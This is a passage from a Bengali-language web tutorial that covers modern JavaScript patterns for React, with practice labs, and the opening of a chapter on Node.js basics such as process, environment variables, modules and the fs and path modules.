    console.log(data);
  })
  .catch(error => {
    console.error(error);
  });

Modern style:

JAVASCRIPT SourceJAVASCRIPT
async function loadUsers() {
  try {
    const response = await fetch("/api/users");

    const data = await response.json();

    console.log(data);
  } catch (error) {
    console.error(error);
  }
}
38.38 API Data Processing

ধরো backend থেকে এসেছে:

JAVASCRIPT SourceJAVASCRIPT
const users = [
  {
    id: 1,
    name: "Ripon",
    active: true
  },
  {
    id: 2,
    name: "Rahim",
    active: false
  }
];

শুধু active users:

JAVASCRIPT SourceJAVASCRIPT
const activeUsers = users.filter(
  user => user.active
);

তারপর names:

JAVASCRIPT SourceJAVASCRIPT
const names = activeUsers.map(
  user => user.name
);

Result:

✨ REACT ARCHITECTURAL DIAGRAM
["Ripon"]

React:

JSX SourceJSX
{users
  .filter(user => user.active)
  .map(user => (
    <p key={user.id}>
      {user.name}
    </p>
  ))
}

🔥 Full-stack React development-এ এই pattern অত্যন্ত common।

38.39 Event Object
JSX SourceJSX
function handleClick(event) {
  console.log(event);
}
JSX SourceJSX
<button onClick={handleClick}>
  Click
</button>

event object-এর মধ্যে event সম্পর্কিত তথ্য থাকে। যেমন:

JAVASCRIPT SourceJAVASCRIPT
event.target
event.currentTarget
event.preventDefault()
38.40 preventDefault()

Form:

JSX SourceJSX
function handleSubmit(event) {
  event.preventDefault();

  console.log("Form submitted");
}

Browser-এর default form submission বন্ধ করে।

38.41 Event Bubbling

HTML:

✨ REACT ARCHITECTURAL DIAGRAM
<div id="parent">
  <button id="child">
    Click
  </button>
</div>

Button click করলে event:

✨ REACT ARCHITECTURAL DIAGRAM
button
 
parent
 
body
 
document

উপরে উঠতে পারে। এটিই event bubbling।

38.42 Event Delegation

অনেকগুলো child element-এর জন্য আলাদা listener না দিয়ে parent-এ listener ব্যবহার করা যায়।

JAVASCRIPT SourceJAVASCRIPT
parent.addEventListener("click", event => {
  if (event.target.matches("button")) {
    console.log("Button clicked");
  }
});

React-এ event system এই concept-এর সাথে সম্পর্কিত।

38.43 Debounce

User typing:

✨ REACT ARCHITECTURAL DIAGRAM
R
Ri
Rip
Ripo
Ripon

প্রতিবার API call করলে unnecessary request হবে। Debounce:

💡 User typing বন্ধ করার কিছু সময় পর function চালাও।
JAVASCRIPT SourceJAVASCRIPT
function debounce(callback, delay) {
  let timer;

  return (...args) => {
    clearTimeout(timer);

    timer = setTimeout(() => {
      callback(...args);
    }, delay);
  };
}

Search:

JAVASCRIPT SourceJAVASCRIPT
const search = debounce(value => {
  console.log("API call:", value);
}, 500);
38.44 Throttle

Throttle:

💡 নির্দিষ্ট সময়ের মধ্যে সর্বোচ্চ একবার function চালাও।

যেমন:

✨ REACT ARCHITECTURAL DIAGRAM
scroll
scroll
scroll
scroll
scroll

প্রতিবার না চালিয়ে:

✨ REACT ARCHITECTURAL DIAGRAM
100ms
200ms
300ms

এরকম interval-এ চালানো যায়।

Part 07 — Advanced State Updates, Common React Pitfalls & Real Todo Architecture (38.45 – 38.54)
38.45 React State Update

ধরো:

JSX SourceJSX
const [count, setCount] = useState(0);

Wrong ধারণা:

JAVASCRIPT SourceJAVASCRIPT
count = count + 1;

State update করতে হবে:

JAVASCRIPT SourceJAVASCRIPT
setCount(count + 1);

আর previous state-এর উপর নির্ভর করলে:

JAVASCRIPT SourceJAVASCRIPT
setCount(prevCount => prevCount + 1);
🔹 কেন?

কারণ React state update asynchronous/batched হতে পারে। এই pattern safer:

JAVASCRIPT SourceJAVASCRIPT
setCount(prev => prev + 1);
38.46 Multiple State Updates

এটি:

JAVASCRIPT SourceJAVASCRIPT
setCount(count + 1);
setCount(count + 1);

সবসময় +2 করার নিশ্চয়তা দেয় না। Better:

JAVASCRIPT SourceJAVASCRIPT
setCount(prev => prev + 1);
setCount(prev => prev + 1);

এখানে প্রতিটি update previous state-এর উপর নির্ভর করছে।

38.47 Nested State Update

ধরো:

JAVASCRIPT SourceJAVASCRIPT
const [user, setUser] = useState({
  name: "Ripon",
  address: {
    city: "Dhaka"
  }
});

City update:

JAVASCRIPT SourceJAVASCRIPT
setUser(prev => ({
  ...prev,
  address: {
    ...prev.address,
    city: "Dinajpur"
  }
}));

এখানে দুই level spread হয়েছে।

38.48 React-এ Conditional Rendering
🔹 &&
JSX SourceJSX
{isAdmin && <AdminPanel />}
🔹 Ternary
JSX SourceJSX
{isAdmin ? (
  <AdminPanel />
) : (
  <UserPanel />
)}
🔹 Function
JSX SourceJSX
function renderContent() {
  if (loading) return <Loading />;
  if (error) return <Error />;
  return <Content />;
}
38.49 Common Mistake — map()return ভুলে যাওয়া

❌:

JAVASCRIPT SourceJAVASCRIPT
users.map(user => {
  <p>{user.name}</p>
});

এখানে implicit return নেই। সঠিক:

JAVASCRIPT SourceJAVASCRIPT
users.map(user => (
  <p>{user.name}</p>
));

অথবা:

JAVASCRIPT SourceJAVASCRIPT
users.map(user => {
  return <p>{user.name}</p>;
});
38.50 Common Mistake — Object Mutation

❌:

JAVASCRIPT SourceJAVASCRIPT
user.name = "Rahim";

React state হলে:

JAVASCRIPT SourceJAVASCRIPT
setUser(prev => ({
  ...prev,
  name: "Rahim"
}));
38.51 Common Mistake — Array Mutation

❌:

JAVASCRIPT SourceJAVASCRIPT
items.push(newItem);

Better:

JAVASCRIPT SourceJAVASCRIPT
setItems(prev => [
  ...prev,
  newItem
]);

Delete:

JAVASCRIPT SourceJAVASCRIPT
setItems(prev =>
  prev.filter(item => item.id !== id)
);

Update:

JAVASCRIPT SourceJAVASCRIPT
setItems(prev =>
  prev.map(item =>
    item.id === id
      ? { ...item, completed: true }
      : item
  )
);
38.52 Common Mistake — Index কে সবসময় key হিসেবে ব্যবহার করা
JSX SourceJSX
{items.map((item, index) => (
  <div key={index}>
    {item.name}
  </div>
))}

Static list হলে কখনো acceptable হতে পারে। কিন্তু list যদি:

  • reorder হয়
  • delete হয়
  • insert হয়

তাহলে stable unique ID ব্যবহার করা better:

JSX SourceJSX
key={item.id}
38.53 Common Mistake — API Data আসার আগেই Access করা

ধরো:

JSX SourceJSX
<p>{user.profile.name}</p>

API data এখনো আসেনি। Error হতে পারে। Better:

JSX SourceJSX
<p>{user?.profile?.name}</p>

অথবা loading state:

JSX SourceJSX
if (loading) {
  return <p>Loading...</p>;
}
38.54 Real-World Example — Todo App

ধরো:

JAVASCRIPT SourceJAVASCRIPT
const todos = [
  {
    id: 1,
    title: "Learn JavaScript",
    completed: true
  },
  {
    id: 2,
    title: "Learn React",
    completed: false
  }
];
🔹 Completed todos
JAVASCRIPT SourceJAVASCRIPT
const completedTodos = todos.filter(
  todo => todo.completed
);
🔹 Todo names
JAVASCRIPT SourceJAVASCRIPT
const titles = todos.map(
  todo => todo.title
);
🔹 Update
JAVASCRIPT SourceJAVASCRIPT
const updatedTodos = todos.map(todo =>
  todo.id === 2
    ? { ...todo, completed: true }
    : todo
);
🔹 Delete
JAVASCRIPT SourceJAVASCRIPT
const remainingTodos = todos.filter(
  todo => todo.id !== 1
);

এই চারটি pattern React Todo App-এর core।

Part 08 — Must Know Pillars, Quick Cheat Sheet, 8 Practice Labs & Final Mental Map
38.55 🔥 MUST KNOW — React-এর জন্য অপরিহার্য JavaScript কনসেপ্ট

সবচেয়ে বেশি গুরুত্ব দাও:

TopicImportance
map()🔥🔥🔥
filter()🔥🔥🔥
Destructuring🔥🔥🔥
Spread🔥🔥🔥
Immutability🔥🔥🔥
Arrow Function🔥🔥🔥
Callback🔥🔥🔥
Closure🔥🔥
reduce()🔥🔥
Optional Chaining🔥🔥🔥
Nullish Coalescing🔥🔥
Ternary🔥🔥🔥
Async/Await🔥🔥🔥
Promise🔥🔥🔥
Modules🔥🔥🔥
Reference🔥🔥🔥
Event Object🔥🔥
Debounce🔥🔥
Throttle🔥🔥
38.56 🧠 Quick Cheat Sheet — React JavaScript সিনট্যাক্স সামারি
JAVASCRIPT SourceJAVASCRIPT
// Destructuring
const { name } = user;

// Array destructuring
const [first, second] = items;

// Spread
const newArray = [...oldArray];

// Object spread
const newUser = { ...user, age: 24 };

// Rest
const [first, ...rest] = numbers;

// Map
items.map(item => item.name);

// Filter
items.filter(item => item.active);

// Find
items.find(item => item.id === 1);

// Some
items.some(item => item.active);

// Every
items.every(item => item.active);

// Reduce
items.reduce((sum, item) => sum + item.price, 0);

// Optional chaining
user?.profile?.name;

// Nullish
name ?? "Guest";

// Ternary
isLoggedIn ? <Dashboard /> : <Login />;

// Short circuit
isAdmin && <AdminPanel />;

// Immutable update
setUser(prev => ({
  ...prev,
  name: "Rahim"
}));

// Immutable array add
setItems(prev => [...prev, item]);

// Immutable delete
setItems(prev =>
  prev.filter(item => item.id !== id)
);

// Immutable update
setItems(prev =>
  prev.map(item =>
    item.id === id
      ? { ...item, done: true }
      : item
  )
);
Part 08.1 — 8 Hands-On Practice Labs with Complete Production Solutions
Lab 1: Array Filtering — Extracting Adults (Age >= 18) Beginner

সমস্যা ও লক্ষ্য: প্রদত্ত ইউজার অ্যারে থেকে filter() মেথড ব্যবহার করে শুধুমাত্র ১৮ বা তার বেশি বয়সের ইউজারদের ফিল্টার করুন।

PRODUCTION SOLUTION: LAB 1JAVASCRIPT
const users = [
  { name: "A", age: 15 },
  { name: "B", age: 20 },
  { name: "C", age: 25 }
];

// Modern ES6+ / React Pattern
const adultUsers = users.filter(user => user.age >= 18);

console.log(adultUsers);
// Output: [ { name: 'B', age: 20 }, { name: 'C', age: 25 } ]
💡 রিঅ্যাক্ট আর্কিটেকচারাল ব্যাখ্যা: filter() মূল অ্যারে মিউটেট না করে একটি সম্পূর্ণ নতুন অ্যারে তৈরি করে, যা React-এর স্টেট ফিল্টারিং ও সার্চ ফিচারে শতভাগ নিরাপদ।
Lab 2: Array Projection — Mapping Array of Names Beginner

সমস্যা ও লক্ষ্য: ইউজার অবজেক্ট অ্যারে থেকে map() ব্যবহার করে শুধুমাত্র ইউজারদের নামের একটি স্ট্রিং অ্যারে তৈরি করুন।

PRODUCTION SOLUTION: LAB 2JAVASCRIPT
const users = [
  { name: "A", age: 15 },
  { name: "B", age: 20 },
  { name: "C", age: 25 }
];

// React Projection Pattern
const userNames = users.map(user => user.name);

console.log(userNames);
// Output: ["A", "B", "C"]
💡 রিঅ্যাক্ট আর্কিটেকচারাল ব্যাখ্যা: map() মেথডটি মূল অ্যারের প্রতিটি উপাদান রূপান্তর করে সমপরিমাণ উপাদানের নতুন অ্যারে বানায়—যা React-এ ডেটা থেকে JSX এলিমেন্ট রেন্ডারিংয়ের মূল ভিত্তি।
Lab 3: Immutable Item Update — Updating Object by ID Beginner

সমস্যা ও লক্ষ্য: map() এবং Spread Operator ব্যবহার করে id = 2 ইউজারের নাম পরিবর্তন করে 'Ripon' করুন (অন্যান্য উপাদান অক্ষত রেখে)।

PRODUCTION SOLUTION: LAB 3JAVASCRIPT
const users = [
  { id: 1, name: "Tanvir" },
  { id: 2, name: "OldName" },
  { id: 3, name: "Karim" }
];

// Immutable Update Pattern
const targetId = 2;
const updatedUsers = users.map(user => 
  user.id === targetId 
    ? { ...user, name: "Ripon" } 
    : user
);

console.log(updatedUsers);
// Output: [ { id: 1, name: 'Tanvir' }, { id: 2, name: 'Ripon' }, { id: 3, name: 'Karim' } ]
💡 রিঅ্যাক্ট আর্কিটেকচারাল ব্যাখ্যা: React স্টেটে কোনো অবজেক্ট সরাসরি মিউটেট করা নিষিদ্ধ। টার্নারি অপারেটর এবং অবজেক্ট স্প্রেড({...user}) দিয়ে টার্গেট আইটেমটির কপি তৈরি করে আপডেট করতে হয়।
Lab 4: Immutable Item Deletion — Removing Object by ID Beginner

সমস্যা ও লক্ষ্য: filter() মেথড ব্যবহার করে id = 3 ইউজারটিকে অ্যারে থেকে নিরাপদে মুছে ফেলুন।

PRODUCTION SOLUTION: LAB 4JAVASCRIPT
const users = [
  { id: 1, name: "Tanvir" },
  { id: 2, name: "Ripon" },
  { id: 3, name: "Karim" }
];

// Immutable Delete Pattern
const deleteId = 3;
const remainingUsers = users.filter(user => user.id !== deleteId);

console.log(remainingUsers);
// Output: [ { id: 1, name: 'Tanvir' }, { id: 2, name: 'Ripon' } ]
💡 রিঅ্যাক্ট আর্কিটেকচারাল ব্যাখ্যা: React-এ Delete অপারেশনের জন্য splice() ব্যবহার করলে মূল অ্যারে পরিবর্তিত হয়ে যায়। filter() মেথড শর্ত না মেলা আইটেমগুলো বাদ দিয়ে নতুন অ্যারে দেয়।
Lab 5: Array Aggregation — Shopping Cart Total via reduce() Intermediate

সমস্যা ও লক্ষ্য: reduce() মেথড ব্যবহার করে শপিং কার্টের সকল আইটেমের মোট মূল্য (Total Price) বের করুন।

PRODUCTION SOLUTION: LAB 5JAVASCRIPT
const cart = [
  { name: "Laptop", price: 80000 },
  { name: "Mouse", price: 1000 },
  { name: "Keyboard", price: 3000 }
];

// React / E-Commerce Accumulator Pattern
const totalPrice = cart.reduce((accumulator, item) => accumulator + item.price, 0);

console.log('Total Cart Amount: ৳' + totalPrice);
// Output: Total Cart Amount: ৳84000
💡 রিঅ্যাক্ট আর্কিটেকচারাল ব্যাখ্যা: reduce() মেথডে প্রারম্ভিক মান (Initial Value: 0) উল্লেখ করা বাধ্যতামূলক। এটি কার্ট টোটাল, ট্যাক্স বা ডিসকাউন্ট ক্যালকুলেশনের স্ট্যান্ডার্ড পদ্ধতি।
Lab 6: React Component Bug Fix — Missing Return in map() Intermediate

সমস্যা ও লক্ষ্য: নিচের কম্পোনেন্টটিতে map() এ ব্র্যাকেট দেওয়ার কারণে JSX রিটার্ন হচ্ছে না। এরর খুঁজে বের করে প্রোডাকশন-রেডি ফিক্স লিখুন।

PRODUCTION SOLUTION: LAB 6JAVASCRIPT
// ❌ Buggy Version (Returns undefined for each item)
// function Users({ users }) {
//   return (<div>{users.map(user => { <p>{user.name}</p> })}</div>);
// }

// ✅ Fixed Version 1: Implicit Return with Parentheses
function UsersImplicit({ users }) {
  return (
    <div>
      {users.map(user => (
        <p key={user.id}>{user.name}</p>
      ))}
    </div>
  );
}

// ✅ Fixed Version 2: Explicit Return Keyword with Curly Braces
function UsersExplicit({ users }) {
  return (
    <div>
      {users.map(user => {
        return <p key={user.id}>{user.name}</p>;
      })}
    </div>
  );
}
💡 রিঅ্যাক্ট আর্কিটেকচারাল ব্যাখ্যা: অ্যারো ফাংশনে কার্লি ব্রেস {} দিলে বডি তৈরি হয়, ফলে রিটার্ন করতে হলে 'return' কিওয়ার্ড লিখতে হয়। অথবা প্যারেন্থেসিস () দিয়ে ইমপ্লিসিট রিটার্ন করতে হয়। সাথে অনন্য key প্রপ যুক্ত করা জরুরি।
Lab 7: Functional State Update — Immutable Top-Level Property Intermediate

সমস্যা ও লক্ষ্য: React Functional setState প্যাটার্ন মেনে user অবজেক্টের age প্রপার্টি ২৩ থেকে ২৪ এ আপডেট করুন।

PRODUCTION SOLUTION: LAB 7JAVASCRIPT
const [user, setUser] = [
  { name: "Ripon", age: 23 },
  newUser => console.log('Updated User State:', newUser)
];

// React Functional State Update Pattern
setUser(prevUser => ({
  ...prevUser,
  age: 24
}));

// Output: Updated User State: { name: 'Ripon', age: 24 }
💡 রিঅ্যাক্ট আর্কিটেকচারাল ব্যাখ্যা: setState-এ ফাংশনাল আপডেট (prev => ({ ...prev, prop })) ব্যবহার করলে রেস কন্ডিশন ও স্টেল স্টেট (Stale State) এরর সম্পূর্ণ দূর হয়।
Lab 8: Deep Immutable Update — Nested Object State Modification Advanced

সমস্যা ও লক্ষ্য: Nested অবজেক্টের গভীরের প্রপার্টি (address.city) মিউটেট না করে স্প্রেড অপারেটর দিয়ে 'Dhaka' থেকে 'Dinajpur' এ আপডেট করুন।

PRODUCTION SOLUTION: LAB 8JAVASCRIPT
const user = {
  name: "Ripon",
  address: {
    city: "Dhaka",
    country: "Bangladesh"
  }
};

// ❌ Buggy Shallow Spread: user.address মিউটেট হয়ে যায়
// const wrong = { ...user, address: { city: 'Dinajpur' } }; // country হারিয়ে যাবে!

// ✅ Correct Deep Immutable Spread
const updatedUser = {
  ...user,
  address: {
    ...user.address,
    city: "Dinajpur"
  }
};

console.log(updatedUser);
// Output: { name: 'Ripon', address: { city: 'Dinajpur', country: 'Bangladesh' } }
💡 রিঅ্যাক্ট আর্কিটেকচারাল ব্যাখ্যা: Shallow Spread কেবল প্রথম লেভেলের প্রপার্টি কপি করে। নেস্টেড অবজেক্ট থাকলে ভেতরের অবজেক্টকেও আলাদাভাবে স্প্রেড ({...user.address}) করতে হয়, নতুবা অবজেক্টের অন্যান্য প্রপার্টি মুছে যাবে।
38.57 🎯 Final Mental Map — React-এর জন্য JavaScript আর্কিটেকচার মানচিত্র

পুরো Chapter 38-এর JavaScript ও React সমন্বয় একনজরে:

✨ REACT JAVASCRIPT TAXONOMY MAP
Advanced JS for React
                         
       ──────────────────────────────────
                                         
     Syntax             Data             Logic
                                         
 Destructuring       map/filter        ternary
 Spread/Rest         find/reduce       && / ??
 Arrow Function      some/every        optional chaining
                                         
       ──────────────────────────────────
                         
                    React State
                         
                  Immutability
                         
             ──────────────────────
                                   
            Add        Update       Delete
                                   
           spread       map        filter
                         
                         
                    API / Async
                         
                   Promise / await
                         
                         
                    React UI
🏆 এক লাইনে Chapter 38: React ফ্রেমওয়ার্ক শেখার প্রথম ও প্রধান ভিত্তি হলো আধুনিক JavaScript-এর Destructuring, Spread, map/filter/reduce, Immutability এবং Async/Await—এগুলো আয়ত্ত করলেই React কোড পানির মতো সহজ মনে হবে।
38.58 🔗 Curriculum Progression: Chapter 37 → 38 → 39
✨ ROADMAP CONTINUITY PIPELINE
Chapter 37: JavaScript Design Patterns
       
Creational, Structural, Behavioral, MVC, Dependency Injection & Repository
       
Chapter 38: Advanced JavaScript for React (THIS CHAPTER)
       
Destructuring, Spread, map/filter, Immutability, Closures, Synthetic Events
       
Chapter 39: Advanced JavaScript for Node.js
       
Node.js Architecture, Libuv, Event Loop Phases, Streams, Buffer, Worker Threads
Chapter 39
↑ Index
Advanced JavaScript for Node.js — নোড.জেএস-এর জন্য অ্যাডভান্সড জাভাস্ক্রিপ্ট
Total Modules
76 Modules + 10 Practice Labs
Curriculum Part
Part 33 — Backend Architecture & Node.js
Core Innovations
V8, Libuv, Streams, Buffers, Async I/O
Target Architecture
REST APIs, Express, Microservices & Security
Advanced JavaScript for Node.js — সার্ভার-সাইড জাভাস্ক্রিপ্ট ও ফুলস্ট্যাক ব্যাকএন্ড

Node.js কোনো আলাদা প্রোগ্রামিং ভাষা নয়, বরং এটি একটি শক্তিশালী JavaScript Runtime Environment যা ব্রাউজারের বাইরে সার্ভারে জাভাস্ক্রিপ্ট চালানোর সুযোগ করে দেয়। V8 ইঞ্জিন, Libuv, ইভেন্ট লুপ, নন-ব্লকিং অ্যাসিনক্রোনাস I/O, প্রসেস অবজেক্ট, এনভায়রনমেন্ট ভ্যারিয়েবল, কমনজেএস বনাম ইএস মডিউল, fs, path, os, events, Buffer, Streams এবং সিকিউর এক্সপ্রেস আর্কিটেকচার এই চ্যাপ্টারের মূল উপজীব্য।

📌 1. V8 & Event Loop
📌 2. process & env
📌 3. CommonJS vs ESM
📌 4. File System (fs)
📌 5. path & os Modules
📌 6. EventEmitter & once
📌 7. Buffer & Streams
📌 8. HTTP & Express APIs
📌 9. Auth & Pool Security
📌 10. Graceful Shutdown
Part 01 — Node.js Foundations, V8 Engine & Event Loop Architecture (39.1 – 39.7)
39.1 Node.js কী?

Node.js হলো এমন একটি runtime environment যার মাধ্যমে browser-এর বাইরে JavaScript চালানো যায়। আগে JavaScript মূলত:

✨ NODE.JS RUNTIME ARCHITECTURE DIAGRAM
Browser
   
Chrome / Firefox / Edge
   
JavaScript

Node.js-এর মাধ্যমে:

✨ NODE.JS RUNTIME ARCHITECTURE DIAGRAM
Computer / Server
        
      Node.js
        
   JavaScript

চালানো যায়।

39.2 Node.js দিয়ে কী করা যায়?

Node.js দিয়ে তৈরি করা যায়:

  • Backend server
  • REST API
  • Authentication system
  • Real-time application
  • WebSocket server
  • CLI tools
  • File processing
  • Automation
  • Database applications
  • Microservices
  • Streaming applications

তোমার Full Stack Developer journey-তে:

✨ FULL-STACK JAVASCRIPT SYSTEM TOPOLOGY
React
  
Node.js
  
Express.js
  
Database

খুব গুরুত্বপূর্ণ architecture।

39.3 Browser JavaScript বনাম Node.js
FeatureBrowserNode.js
JavaScript
DOM
window
document
process
File Systemসীমিত
Server তৈরি
HTTP ServerBrowser API
fs module
path module
Database accessসাধারণত API দিয়ে
npm ecosystemব্যবহার করা যায়মূল ecosystem
🔹 সহজভাবে:

Browser:

💡 Web page control করার জন্য JavaScript।

Node.js:

💡 Server/system-side কাজ করার জন্য JavaScript।
39.4 Node.js-এর ভিতরে কী আছে?

Simplified architecture:

✨ NODE.JS INTERNAL ARCHITECTURE & EVENT LOOP
Node.js Application
                
                
          JavaScript Code
                
                
            V8 Engine
                
                
         Node.js Runtime
        ───────────────
                        
     libuv          Node APIs
        
        
 OS / Network / File System
39.5 V8 Engine

V8 হলো Google-এর JavaScript engine। Chrome-এ:

✨ NODE.JS RUNTIME ARCHITECTURE DIAGRAM
Chrome
 
V8
 
JavaScript

Node.js-এ:

✨ NODE.JS RUNTIME ARCHITECTURE DIAGRAM
Node.js
 
V8
 
JavaScript

V8 JavaScript code execute করে।

39.6 Node.js Event Loop

Node.js-এর সবচেয়ে গুরুত্বপূর্ণ conceptগুলোর একটি হলো Event Loop। Node.js সাধারণত:

💡 Single JavaScript thread + asynchronous I/O model

ব্যবহার করে। উদাহরণ:

JAVASCRIPT SourceJAVASCRIPT
console.log("Start");

setTimeout(() => {
  console.log("Timer");
}, 0);

console.log("End");

Output:

✨ NODE.JS RUNTIME ARCHITECTURE DIAGRAM
Start
End
Timer

কারণ setTimeout() callback পরে execute হয়।

39.7 Node.js কেন দ্রুত?

Node.js-এর শক্তিশালী দিক হলো non-blocking I/O। ধরো server-কে file read করতে হবে:

✨ NODE.JS RUNTIME ARCHITECTURE DIAGRAM
Request
  
File Read
  
Waiting...

পুরো JavaScript execution block না করে Node অন্য কাজ handle করতে পারে।

✨ NODE.JS RUNTIME ARCHITECTURE DIAGRAM
Request A
   
File I/O ─────────
                  
Request B  Node  
                  
Request C  Node  
                  
             File Result

এটি high-concurrency application-এর জন্য useful।

Part 02 — Process Object, CLI Arguments & Environment Variables (39.8 – 39.17)
39.8 process Object

Node.js-এ:

JAVASCRIPT SourceJAVASCRIPT
console.log(process);

process হলো Node.js process সম্পর্কিত information/control দেওয়ার global object।

39.9 process.version
JAVASCRIPT SourceJAVASCRIPT
console.log(process.version);

Example output:

✨ NODE.JS RUNTIME ARCHITECTURE DIAGRAM
v24.x.x

তোমার নিজের system-এ installed Node version অনুযায়ী output আলাদা হবে।

39.10 process.platform
JAVASCRIPT SourceJAVASCRIPT
console.log(process.platform);

Windows হলে:

✨ NODE.JS RUNTIME ARCHITECTURE DIAGRAM
win32

Linux হলে:

✨ NODE.JS RUNTIME ARCHITECTURE DIAGRAM
linux
39.11 process.arch
JAVASCRIPT SourceJAVASCRIPT
console.log(process.arch);

Example:

✨ NODE.JS RUNTIME ARCHITECTURE DIAGRAM
x64

CPU architecture জানা যায়।

39.12 process.argv

Command-line arguments পাওয়া যায়:

JAVASCRIPT SourceJAVASCRIPT
console.log(process.argv);

Run:

TERMINAL COMMANDBASH
node app.js hello

তাহলে process.argv-তে command-line arguments থাকবে। Example:

JAVASCRIPT SourceJAVASCRIPT
const name = process.argv[2];

console.log(`Hello ${name}`);

Run:

TERMINAL COMMANDBASH
node app.js Ripon

Output:

✨ NODE.JS RUNTIME ARCHITECTURE DIAGRAM
Hello Ripon
🔹 Real-life use

CLI application:

TERMINAL COMMANDBASH
node create-user.js Ripon
39.13 Environment Variables

Server application-এ secret/configuration hard-code করা উচিত নয়। ❌:

JAVASCRIPT SourceJAVASCRIPT
const password = "mySecretPassword";

Better:

✨ NODE.JS RUNTIME ARCHITECTURE DIAGRAM
Environment Variable
       
process.env
       
Application
39.14 process.env
JAVASCRIPT SourceJAVASCRIPT
console.log(process.env.NODE_ENV);

Environment variable access করতে:

JAVASCRIPT SourceJAVASCRIPT
const port = process.env.PORT;
39.15 .env

সাধারণত:

✨ NODE.JS RUNTIME ARCHITECTURE DIAGRAM
PORT=5000
DATABASE_URL=your_database_url
JWT_SECRET=your_secret

তারপর application-এ environment variables load করা হয়। Modern Node.js versions-এ অনেক ক্ষেত্রে:

TERMINAL COMMANDBASH
node --env-file=.env server.js

ব্যবহার করা যায়। অথবা project-এ dotenv package ব্যবহার করা হয়।

JAVASCRIPT SourceJAVASCRIPT
import "dotenv/config";

console.log(process.env.PORT);
🔹 🔥 গুরুত্বপূর্ণ

Frontend-এর .env-এ রাখা value secret ধরে নেওয়া যাবে না যদি build process সেটি browser bundle-এ expose করে। Backend environment variables-এর ক্ষেত্রে secret রাখা যায়, তবে deployment platform-এর secret management ব্যবহার করাই ভালো।

39.16 __dirname

CommonJS-এ:

JAVASCRIPT SourceJAVASCRIPT
console.log(__dirname);

বর্তমান file-এর directory path পাওয়া যায়।

39.17 __filename
JAVASCRIPT SourceJAVASCRIPT
console.log(__filename);

বর্তমান file-এর সম্পূর্ণ path পাওয়া যায়।

🔹 কিন্তু ES Modules-এ?

__dirname এবং __filename built-inভাবে থাকে না। ESM-এ:

JAVASCRIPT SourceJAVASCRIPT
import { fileURLToPath } from "node:url";
import path from "node:path";

const __filename = fileURLToPath(import.meta.url);
const __dirname = path.dirname(__filename);
Part 03 — Module Systems: CommonJS vs ES Modules & Core Modules (39.18 – 39.23)
39.18 Node.js Modules

Node.js project-এ code আলাদা file/module-এ ভাগ করা হয়। দুটি প্রধান module system:

✨ NODE.JS RUNTIME ARCHITECTURE DIAGRAM
CommonJS
ES Modules
39.19 CommonJS

পুরোনো/প্রচলিত Node.js module system। Export:

JAVASCRIPT SourceJAVASCRIPT
function add(a, b) {
  return a + b;
}

module.exports = add;

Import:

JAVASCRIPT SourceJAVASCRIPT
const add = require("./math");
39.20 Named CommonJS Export
JAVASCRIPT SourceJAVASCRIPT
function add(a, b) {
  return a + b;
}

function subtract(a, b) {
  return a - b;
}

module.exports = {
  add,
  subtract
};

Import:

JAVASCRIPT SourceJAVASCRIPT
const { add, subtract } = require("./math");
39.21 ES Modules

Modern JavaScript style:

JAVASCRIPT SourceJAVASCRIPT
export function add(a, b) {
  return a + b;
}

Import:

JAVASCRIPT SourceJAVASCRIPT
import { add } from "./math.js";

Node.js-এ ESM ব্যবহার করতে package.json-এ:

JSON PAYLOADJSON
{
  "type": "module"
}

দেওয়া যায়।

39.22 require() বনাম import
CommonJSES Modules
require()import
module.exportsexport
Node.js-এ traditionalModern standard
__dirname availableimport.meta.url
synchronous loading semanticsstatic module syntax

Modern full-stack projects-এ ESM অনেক বেশি দেখা যায়, তবে CommonJS এখনও গুরুত্বপূর্ণ।

39.23 Node.js Built-in Modules

Node.js অনেক built-in module দেয়। গুরুত্বপূর্ণ:

✨ NODE.JS RUNTIME ARCHITECTURE DIAGRAM
fs
path
os
url
events
http
crypto
stream
buffer
util
process

Import:

JAVASCRIPT SourceJAVASCRIPT
import fs from "node:fs";

Modern Node.js-এ built-in modules-এর ক্ষেত্রে node: prefix ব্যবহার করা ভালো practice।

Part 04 — Built-in Modules: File System (fs), Path, OS & URL (39.24 – 39.35)
39.24 fs — File System

fs module file নিয়ে কাজ করতে ব্যবহার হয়।

JAVASCRIPT SourceJAVASCRIPT
import fs from "node:fs";

const data = fs.readFileSync("hello.txt", "utf8");

console.log(data);

এটি synchronous।

39.25 Async File Reading

Better server-side pattern:

JAVASCRIPT SourceJAVASCRIPT
import fs from "node:fs/promises";

const data = await fs.readFile(
  "hello.txt",
  "utf8"
);

console.log(data);

এটি asynchronous।

39.26 File Write
JAVASCRIPT SourceJAVASCRIPT
import fs from "node:fs/promises";

await fs.writeFile(
  "hello.txt",
  "Hello Ripon!"
);

ফাইল তৈরি/overwrite হবে।

39.27 Append
JAVASCRIPT SourceJAVASCRIPT
await fs.appendFile(
  "hello.txt",
  "\nNew line"
);

আগের content রেখে নতুন content যোগ করবে।

39.28 File Delete
JAVASCRIPT SourceJAVASCRIPT
await fs.unlink("hello.txt");

ফাইল delete করবে।

39.29 Directory Create
JAVASCRIPT SourceJAVASCRIPT
await fs.mkdir("uploads", {
  recursive: true
});

Folder তৈরি করবে।

39.30 path Module

File path handle করার জন্য:

JAVASCRIPT SourceJAVASCRIPT
import path from "node:path";
🔹 Join
JAVASCRIPT SourceJAVASCRIPT
const filePath = path.join(
  "uploads",
  "images",
  "photo.jpg"
);

console.log(filePath);

OS অনুযায়ী correct separator ব্যবহার করবে।

39.31 path.basename()
JAVASCRIPT SourceJAVASCRIPT
const file = "/uploads/photo.jpg";

console.log(path.basename(file));

Output:

✨ NODE.JS RUNTIME ARCHITECTURE DIAGRAM
photo.jpg
39.32 path.extname()
JAVASCRIPT SourceJAVASCRIPT
console.log(
  path.extname("photo.jpg")
);

Output:

✨ NODE.JS RUNTIME ARCHITECTURE DIAGRAM
.jpg
39.33 path.dirname()
JAVASCRIPT SourceJAVASCRIPT
console.log(
  path.dirname("/uploads/photo.jpg")
);

Output:

✨ NODE.JS RUNTIME ARCHITECTURE DIAGRAM
/uploads
39.34 os Module

Operating system information:

JAVASCRIPT SourceJAVASCRIPT
import os from "node:os";

console.log(os.platform());
console.log(os.arch());
console.log(os.cpus().length);

Real-life:

💡 Server-এর CPU/core information জানতে।
39.35 url Module
JAVASCRIPT SourceJAVASCRIPT
import { URL } from "node:url";

const url = new URL(
  "https://example.com/products?page=2"
);

console.log(url.pathname);
console.log(url.searchParams.get("page"));

Output:

✨ NODE.JS RUNTIME ARCHITECTURE DIAGRAM
/products
2
